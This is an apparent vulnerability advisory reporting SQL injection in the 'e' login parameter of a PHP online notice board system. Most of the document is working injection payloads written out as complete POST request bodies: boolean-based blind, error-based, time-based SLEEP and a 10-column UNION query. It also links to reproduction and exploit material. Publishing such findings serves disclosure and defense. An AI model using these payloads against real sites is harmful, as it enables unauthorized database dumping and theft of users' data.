Online Notice Board 2022 SQL Injection

`## Title: ONLINE-NOTICE-BOARD-2022 SQLi  
## Author: nu11secur1ty  
## Date: 09.09.2022  
## Vendor: https://www.sourcecodester.com/users/razormist  
## Software: https://www.sourcecodester.com/php/14317/online-notice-board-system.html  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022  
  
## Description:  
The `e` parameter from the ONLINE-NOTICE-BOARD-2022 system appears to  
be vulnerable to SQL injection attacks.  
The malicious user can dump-steal the database, from this system and  
he can use it for very malicious purposes.  
NOTE: The users of this system are NOT protected, this SQL  
vulnerability is CRITICAL!  
  
STATUS: HIGH Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: e (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)  
Payload: [email protected]' OR NOT 5051=5051#  
Wypj&p=h8F!c4q!L9&save=Login  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: [email protected]' OR (SELECT 8344  
FROM(SELECT COUNT(*),CONCAT(0x716b626b71,(SELECT  
(ELT(8344=8344,1))),0x7170767171,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# ZBOm&p=h8F!c4q!L9&save=Login  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: [email protected]' AND (SELECT 8661 FROM  
(SELECT(SLEEP(5)))LTGu)# mWpk&p=h8F!c4q!L9&save=Login  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 10 columns  
Payload: [email protected]' UNION ALL SELECT  
NULL,CONCAT(0x716b626b71,0x4949414c667070706f614c784d7468616265424b595148715870516c437744516473687567795478,0x7170767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p=h8F!c4q!L9&save=Login  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/razormist/2022/ONLINE-NOTICE-BOARD-2022)  
  
## Proof and Exploit:  
[href](https://streamable.com/4u9diy)  
  
`